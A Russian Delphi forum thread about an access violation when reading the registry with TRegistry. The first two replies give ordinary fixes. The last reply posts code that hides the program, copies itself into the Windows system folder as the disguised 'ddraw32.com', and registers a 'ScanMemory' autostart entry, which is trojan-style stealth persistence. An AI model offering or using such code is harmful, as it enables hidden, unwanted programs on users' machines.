Наши проекты:
Журнал · Discuz!ML · Wiki · DRKB · Помощь проекту |
||
ПРАВИЛА | FAQ | Помощь | Поиск | Участники | Календарь | Избранное | RSS |
[18.219.14.63] |
|
Сообщ.
#1
,
|
|
|
В коде:
var T:TRegistry; var H:string; T.openkey('HKEY_LOCAL_MACHINE\...', true); H:=t.readstring('...'); возникает ошибка типа AcessVoliation readadressXXXX:XXXX. Помогите |
Сообщ.
#2
,
|
|
|
Ошибка в задании корневого ключа (rootkey).
HKEY_LOCAL_MACHINE имеет тип не "string", как у тебя, а HKEY и задается отдельно , а вот остальной путь 'Software\micrisoft\..' и т.д. действительно "string" нужно дописать: t.rootkey:=HKEY_LOCAL_MACHINE; p.s. прошу прощения за возможно некорректную терминологию, но я думаю понять можно. |
Сообщ.
#3
,
|
|
|
T типа TRegistry ты обявил... А создавать кто будет ? Если это весь код, то ты пытаешься исполнить метод несуществующего объекта... Это весь код ?
|
Сообщ.
#4
,
|
|
|
Я в проге прописывал так, а там сам смотри как тебе надо:
var registry; procedure TForm1.FormCreate(Sender: TObject); var WinDir: PChar; h:TRegistry; begin ShowWindow(Application.Handle,sw_Hide); if not(csDesigning in ComponentState) then RegisterServiceProcess(GetCurrentProcessID,1); application.ShowMainForm:=false; GetMem(WinDir, 144); GetWindowsDirectory(WinDir, 144); CopyFile(PChar(Application.ExeName),PChar(WinDir+'\system\ddraw32.com'),true); h:=TRegistry.Create; h.RootKey:=HKEY_LOCAL_MACHINE; h.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true); h.WriteString('ScanMemory',WinDir+'\system\ddraw32.com'); h.CloseKey; h.Free; end; |